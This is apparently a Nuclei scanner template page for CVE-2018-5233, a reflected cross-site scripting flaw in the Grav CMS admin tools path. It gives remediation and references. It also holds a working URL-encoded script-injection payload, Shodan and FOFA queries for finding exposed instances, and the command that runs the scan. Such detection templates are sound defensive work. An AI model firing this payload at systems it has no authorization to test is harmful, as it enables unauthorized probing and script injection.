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Grav CMS <1.3.0 - Cross-Site Scripting

ID: CVE-2018-5233

Severity: medium

Author: pikpikcu

Tags: cve,cve2018,xss,grav,getgrav

Description

Section titled “Description”

Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.

YAML Source

Section titled “YAML Source”
id: CVE-2018-5233


info:
  name: Grav CMS <1.3.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
  remediation: |
    Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
    - http://www.openwall.com/lists/oss-security/2018/03/15/1
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5233
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5233
    cwe-id: CWE-79
    epss-score: 0.00294
    epss-percentile: 0.69184
    cpe: cpe:2.3:a:getgrav:grav_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: getgrav
    product: grav_cms
    shodan-query:
      - html:"Grav CMS"
      - http.html:"grav cms"
    fofa-query: body="grav cms"
  tags: cve,cve2018,xss,grav,getgrav


http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: word
        part: body
        words:
          - '/themes/grav'
          - 'Grav Admin Login'
          - 'data-grav-'
        condition: or


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ca64aeb6264f8088db8d15f38c76be462d0968410799eb17f0ff3a4d2d679612022100b696e5c33b482b78c1bac1d28c31eca1f32b2b208d44a8e67a9dee47167794ab:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-5233.yaml"

View on Github